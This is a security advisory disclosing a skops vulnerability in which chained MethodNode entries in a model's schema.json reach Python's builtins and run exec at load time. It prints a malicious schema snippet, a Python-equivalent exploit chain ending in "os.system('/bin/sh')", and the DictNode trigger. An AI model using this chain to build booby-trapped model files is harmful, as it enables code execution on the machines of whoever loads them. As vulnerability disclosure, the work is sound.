Summary

An inconsistency in MethodNode can be exploited to access unexpected object fields through dot notation. This can be used to achieve arbitrary code execution at load time.

While this issue may seem similar to GHSA-m7f4-hrc6-fwg3, it is actually more severe, as it relies on fewer assumptions about trusted types.

Details

The MethodNode allows access to attributes of existing objects via dot notation. However, there are several critical shortcomings:

• Although the __class__ and __module__ fields are checked via get_untrusted_types and during the load phase (as a concatenated string), they are not actually used by MethodNode. Instead, the func and obj entries in the schema.json are used to determine behavior. This means that even an apparently harmless __module__.__class__ pair can lead to access of arbitrary attributes or methods of loaded objects, without any additional checks.

• Nothing prevents an attacker from chaining multiple MethodNode instances to traverse the object hierarchy and access harmful attributes.

An object can be loaded using the ObjectNode, which normally enforces strict checks and allows only trusted or explicitly permitted objects. However, once the object is loaded, dot notation can be used to access any of its attributes or methods. Furthermore, by chaining multiple MethodNodes, one can traverse the Python object hierarchy and reach dangerous components such as the builtins dictionary—which contains functions like exec and eval.

This vulnerability allows the attacker to bypass both get_untrusted_types and load checks, enabling access to dangerous attributes and methods without triggering any alerts. As demonstrated in the PoC, arbitrary code execution is possible using just an anonymous object returned by get_untrusted_types (in the example, builtins.int, though any type would suffice since it doesn't influence the exploit).

For example, consider a malicious schema.json snippet like:

...
"__class__": "int",
"__module__": "builtins",
"__loader__": "MethodNode",
"content": {
  "obj": {
    "__class__": "int",
    "__module__": "builtins",
    "__loader__": "MethodNode",
    "content": {
      "obj": {
        "__class__": "QuadraticDiscriminantAnalysis",
        "__module__": "sklearn.discriminant_analysis",
        "__loader__": "ObjectNode",
        "__id__": 1
      },
      "func": "decision_function"
    }
  },
  "func": "__builtins__"
}
...

Here, the attacker loads a trusted QuadraticDiscriminantAnalysis object using ObjectNode, accesses its decision_function method via MethodNode, and then uses another MethodNode to access the __builtins__ dictionary—all without triggering the untrusted type detection mechanisms.

Proof of Concept (PoC)

The provided PoC demonstrates arbitrary code execution using only builtins.int as the type returned by get_untrusted_types and verified by load. Note that the actual type is fully controlled by the attacker and can be anything (e.g., provola.whatever), as it's not used by skops or the exploit.

Components Used in the Exploit

To craft the exploit, the following skops nodes are used:

• MethodNode – to silently access arbitrary Python attributes via dot notation. This is the vulnerable core.
• ObjectNode – to load a trusted object and use it as a base to access its attributes and methods. Also used to set object state via __setstate__.
• PartialNode – to easily control arguments passed to functions accessed.
• DefaultDictNode – to store a crafted call to exec using the default_factory attribute.
• DictNode – to trigger the call at load time.
• JsonNode, TypeNode, ListNode, etc. – for basic types, structures, and constants.

Additionally, the interesting implementation of GridSearchCV.score was leveraged, specifically:

def score(self, X, y=None, **params):
    ...
    scorer = self.scorer_[self.refit]
    return scorer(self.best_estimator_, X, y, **score_params)

Exploit Logic (Python Equivalent)

The schema.json used in this exploit is quite complex and carefully constructed. For this reason, the exploit logic is illustrated using the following Python code, which presents the core idea in a simplified and readable format. It simulates how the malicious schema.json is interpreted and executed by skops during model loading. The complete malicious skops model is attached for reference. This code demonstrates how an attacker can manipulate trusted objects and attributes using MethodNode, ultimately gaining access to the __builtins__ dictionary and invoking exec with a controlled payload. By chaining multiple nodes and leveraging Python's object model, arbitrary code execution is achieved—without triggering any type validation mechanisms.

from sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis
from sklearn.model_selection._search import GridSearchCV
from functools import partial
from collections import defaultdict

# Step 1: Access builtins via dot traversal
a = QuadraticDiscriminantAnalysis().decision_function.__builtins__

# Step 2: Prepare GridSearchCV with overridden attributes
b = GridSearchCV()
b._sklearn_version = "1.7.0"
... # Less interesting attributes
b.scorer_ = a  # builtins dict
b.refit = "exec"
b.best_estimator_ = "import os; os.system('/bin/sh')"

# Step 3: Create callable chain
c = b.score
d = partial(c, {}, {})  # empty dicts as globals/locals
e = defaultdict(**{})
e.default_factory = d
f = e.__getitem__  # dot traversal again :)

# Step 4: Force __getitem__ with a missing key to trigger default_factory

What we can see here is that, when f is called, it invokes the __getitem__ method of a defaultdict. Since the requested key doesn’t exist (the dict is empty), default_factory is triggered — which is the partial function d, wrapping the score method of the loaded GridSearchCV object.

Critically, the attributes of the GridSearchCV object (scorer_, refit, and best_estimator_) have been overwritten so that:

• scorer_ is the __builtins__ dictionary,
• refit is set to "exec" — selecting the exec function from __builtins__,
• best_estimator_ contains the malicious payload: "import os; os.system('/bin/sh')".

When score() is eventually called via the partial function, it resolves self.scorer_[self.refit] to exec, and then calls it as:

exec(self.best_estimator_, {}, {})

In other words:

exec("import os; os.system('/bin/sh')", {}, {})

This leads to arbitrary command execution.

Finally, to trigger this chain, it's sufficient to force a call to f (i.e., __getitem__) with a key that doesn’t exist. This can be done automatically at model load time using DictNode. We use the implementation of DictNode._construct():

def _construct(self):
    content = gettype(self.module_name, self.class_name)()
    key_types = self.children["key_types"].construct()
    for k_type, (key, val) in zip(key_types, self.children["content"].items()):
        content[k_type(key)] = val.construct()
    return content

By setting key_types = [f] and using a missing key, the exploit executes automatically during model loading.

What is shown when loading the model

Suppose a user loads the model with the following code:

from skops.io import load, get_untrusted_types

unknown_types = get_untrusted_types(file="model.skops")
print("Unknown types", unknown_types)
input("Press enter to load the model...")
loaded = load("model.skops", trusted=unknown_types)

The output will be:

Unkonown types ['builtins.int']
Press enter to load the model...

However, the model loading will trigger the execution of the payload, which in this case is a shell command. The same can be modified to execute any arbitrary code.

Attachments

Tthe complete exploit is uploaded in the following drive location: https://drive.google.com/drive/folders/1bmVV18mnPbWy21hVYgf51yVJpf78vtB_?usp=sharing

Impact

An attacker can craft a malicious model file that, when loaded, executes arbitrary code on the victim’s machine. This occurs at load time, requiring no user interaction beyond loading the model. Given that skops is often used in collaborative environments and is designed with security in mind, this vulnerability poses a significant threat.

References

• GHSA-4v6w-xpmh-gfgp
• skops-dev/skops@0aeca05
• https://drive.google.com/drive/folders/1bmVV18mnPbWy21hVYgf51yVJpf78vtB_?usp=sharing
• https://github.com/skops-dev/skops/releases/tag/v0.12.0